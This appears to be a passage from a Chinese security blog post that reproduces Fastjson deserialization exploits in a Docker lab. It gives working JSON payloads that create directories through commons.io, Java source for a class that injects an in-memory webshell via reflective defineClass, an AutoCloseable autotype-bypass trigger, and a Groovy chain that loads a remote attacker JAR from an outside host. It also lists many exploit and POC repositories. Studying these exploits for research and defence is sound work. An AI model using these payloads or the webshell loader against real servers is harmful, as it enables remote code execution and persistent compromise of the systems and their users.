写Class文件的利用方式需要通过commons.io依赖创建目录以及二进制文件的写入,需要用到1268-writefile-no-network环境。使用docker build -t 1268wclass . 命令构建镜像后启动容器: docker run -d --name 1268wclass -p 18081:80 1268wclass。这种方式是在jre/classes目录下(不存在目录时可以通过对应Payload创建)写入class文件后通过其他方式触发类加载利用,具体的操作步骤如下:

1.枚举JDK目录

这个环境中可以使用之前commons.io依赖的方法枚举目录,有时候如果是通过JAVA绝对路径启动的WEB服务也可以读取file:///proc/self/cmdline获得路径。

通过脚本枚举file:///usr/lib/jvm/得到目录列表(只有第一个是目录,其他都是符号链接):

继续枚举jre中是否存在classes目录:

2.创建目录

检测后发现不存在classes目录,所以通过payload创建目录:

{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.output.WriterOutputStream",
 "writer":{
 "@type":"org.apache.commons.io.output.LockableFileWriter",
 "file":"/etc/passwd",
 "encoding":"UTF-8",
 "append": true,
"lockDir":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.362.b08-1.el7_9.x86_64/jre/classes" 
 },
 "charset":"UTF-8",
 "bufferSize": 8193,
 "writeImmediately": true
 }

发送请求后,继续通过枚举目录的方式发现成功创建了目录:

3.编写class文件

接下来需要代码,实现类加载器注入内存马:

import java.io.IOException;

/**
 * @author threedr3am
 */
public class MemberShell implements AutoCloseable {
    static {
        String bytecodeBase64 = "yv66...";
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        try {
            classLoader.loadClass("org.apache.logging.e.EncryptionUtil").newInstance();
        } catch (Exception e) {
            try {
                java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                byte[] bytecode = null;
                try {
                    Class base64Clz = classLoader.loadClass("java.util.Base64");
                    java.lang.reflect.Method getDecoderMethod = base64Clz.getMethod("getDecoder");
                    Object decoder = getDecoderMethod.invoke(null);
                    java.lang.reflect.Method decodeMethod = decoder.getClass().getMethod("decode", String.class);
                    bytecode = (byte[]) decodeMethod.invoke(decoder, bytecodeBase64);
                } catch (ClassNotFoundException ee) {
                    Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
                    java.lang.reflect.Method parseBase64BinaryMethod = datatypeConverterClz.getMethod("parseBase64Binary", String.class);
                    bytecode = (byte[]) parseBase64BinaryMethod.invoke(null, bytecodeBase64);
                }
                Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
                clazz.newInstance();
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    }

    @Override
    public void close() throws Exception {

    }
}

在不知道目标JDK版本的情况下优先使用低版本JDK,这里使用JDK8将代码编译为class文件javac MemberShell.java,然后再转为zlib压缩和Base64字符串通过JDK8的二进制写入载荷:

检查下目录,class文件已经成功写入:

4.触发class加载

需要使用java.lang.AutoCloseable来绕过autotype的检查进行后续类加载的触发:

{
    "@type":"java.lang.AutoCloseable",
    "@type":"MemberShell"
}

在没写入class之前,发送触发payload

写入成功之后再触发:

接下来触发内存马加载:

成功使用冰蝎连接了内存马:

fastjson-1.2.80-groovy

通过1280-groovy搭建测试环境:

先制作一个恶意JAR文件,改造fastjsonVul-attack项目,写入内存马加载代码,生成jar文件:

然后将该jar文件存放在WEB服务器中,通过链接访问可以直接下载文件即可。在后续利用时,会发现远程加载地址classpathList可以是jar文件也可以是web目录。如果是WEB目录时,目录结构满足如下:

├─groovy
│  └─grape
│          GrabAnnotationTransformation2.class
│
└─META-INF
    └─services
           org.codehaus.groovy.transform.ASTTransformation

只需要在org.codehaus.groovy.transform.ASTTransformation文件中填写需要加载的类文件即可,后续更新时也只需要更新对应的class文件:

加载过程如下:

1.访问ASTTransformation文件获取类名称
http://x.x.x.x/META-INF/services/org.codehaus.groovy.transform.ASTTransformation

2.访问上个文件获取到的类文件
http://x.x.x.x/groovy/grape/GrabAnnotationTransformation2.class

准备好远程类文件后,执行第一步payload:

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

执行第二步payload触发远程JAR包加载(要进行第二次加载时需要修改下JAR文件名):

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://x.x.x.x:8000/attack-2.jar"
    }
}

执行成功后即可访问内存马:

0x06 参考链接

简介和基础

归档 - 浅蓝 ‘s blog (b1ue.cn)

fastjson绕过waf的一些技巧 (qq.com)

Fastjson反序列化漏洞复现分析 (yml-sec.top)

(安全客首发)Fastjson系列六——1.2.48-1.2.68反序列化漏洞

fastjson到底做错了什么?为什么会被频繁爆出漏洞? - 掘金 (juejin.cn)

Shiro与Fastjson两种不同的反序列化注入内存马姿势 - 知乎 (zhihu.com)

How I Used a JSON Deserialization 0day to Steal Your Money on the Blockchain - Black Hat USA 2021 | Briefings Schedule

版本判断

盲判断目标的fastjson版本 (qq.com)

Fastjson 全版本RCE - 月满年 - 博客园 (cnblogs.com)

fastjson 获取精确版本号的方法 - 浅蓝 ‘s blog (b1ue.cn)

第18篇:fastjson反序列化漏洞区分版本号的方法总结 - 知乎 (zhihu.com)

FastJsonParty/Fastjson全版本检测及利用-Poc.md at main · lemono0/FastJsonParty (github.com)

写文件到RCE

fastjson v1.2.68 RCE利用链复现 (qq.com)

fastjson 1.2.68 反序列化写文件RCE探索 (qq.com)

fastjson v1.2.68 RCE利用链复现-腾讯云开发者社区-腾讯云 (tencent.com)

Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用链分析 (上)

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)

POC整理列表

https://github.com/safe6Sec/Fastjson

https://github.com/lemono0/FastJsonParty

https://www.freebuf.com/vuls/361576.html

https://github.com/kezibei/fastjson_payload

https://github.com/su18/hack-fastjson-1.2.80

https://mp.weixin.qq.com/s/dnxCEt03jJUFS3-ROHdihg

https://mp.weixin.qq.com/s/sD-VSjHoXMoLTZvMlWB0vw

https://github.com/threedr3am/learnjavabug/tree/master/fastjson

https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement

FastJsonParty/Fastjson全版本检测及利用-Poc.md at main · lemono0/FastJsonParty (github.com)

https://medium.com/@knownsec404team/fastjson-deserialization-vulnerability-history-5206714ceed1

https://pazuris.cn/2023/08/31/FastJson%E5%85%A8%E7%B3%BB%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

不出网利用

https://xz.aliyun.com/t/12492

https://mp.weixin.qq.com/s/LZt-I3s0dQ_bK9ubEix8iQ

https://mp.weixin.qq.com/s/03e9Pj3PwpZCQbJCMIaeVA

高版本JDK环境下JNDI注入

攻击Java RMI的方式

Java RMI学习与解读(三)

java rmi 反序列化命令执行

FastJson与原生反序列化 (y4tacker)

kxcode/JNDI-Exploit-Bypass-Demo

WhiteHSBG/JNDIExploit: 对原版 进行了实用化修改

如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX

JNDI在JDK高版本下Bypass手法复现和分析 | Lemono’ Blog

远程利用出现Timeout

深入理解JNDI注入与Java反序列化漏洞利用 - 博客 - 腾讯安全应急响应中心 (tencent.com)

MySQL JDBC 利用

【WEB】Java JDBC反序列化 | 狼组安全团队公开知识库 (wgpsec.org)

JDBC MySQL任意文件读取分析 - 先知社区 (aliyun.com)

Fastjson Mysql JDBC 反序列化 - pickmea - 博客园 (cnblogs.com)

Java JDBC客户端反序列化漏洞 - zpchcbd - 博客园 (cnblogs.com)

MySQLJDBC反序列化漏洞分析_mysql反序列化-CSDN博客

fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize (github.com)

4ra1n/mysql-fake-server: MySQL Fake Server (纯Java实现,支持GUI版和命令行版,提供Dockerfile,支持多种常见JDBC利用) (github.com)


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 本篇
Fastjson反序列化漏洞复现 Fastjson反序列化漏洞复现
本文学习Fastjson反序列化漏洞的基础知识,整理相关Payload并搭建测试环境进行复现。在复现过程中主要侧重于内存马的注入和使用。
2024-08-18
下一篇 
利用Azure Attest Service持久化 利用Azure Attest Service持久化
由于Azure Attest Service服务安装程序未对服务DLL进行安全验证,可通过命令行注册服务DLL,可利用该特点绕过安全软件监控进行权限维持。
2022-08-29
  目录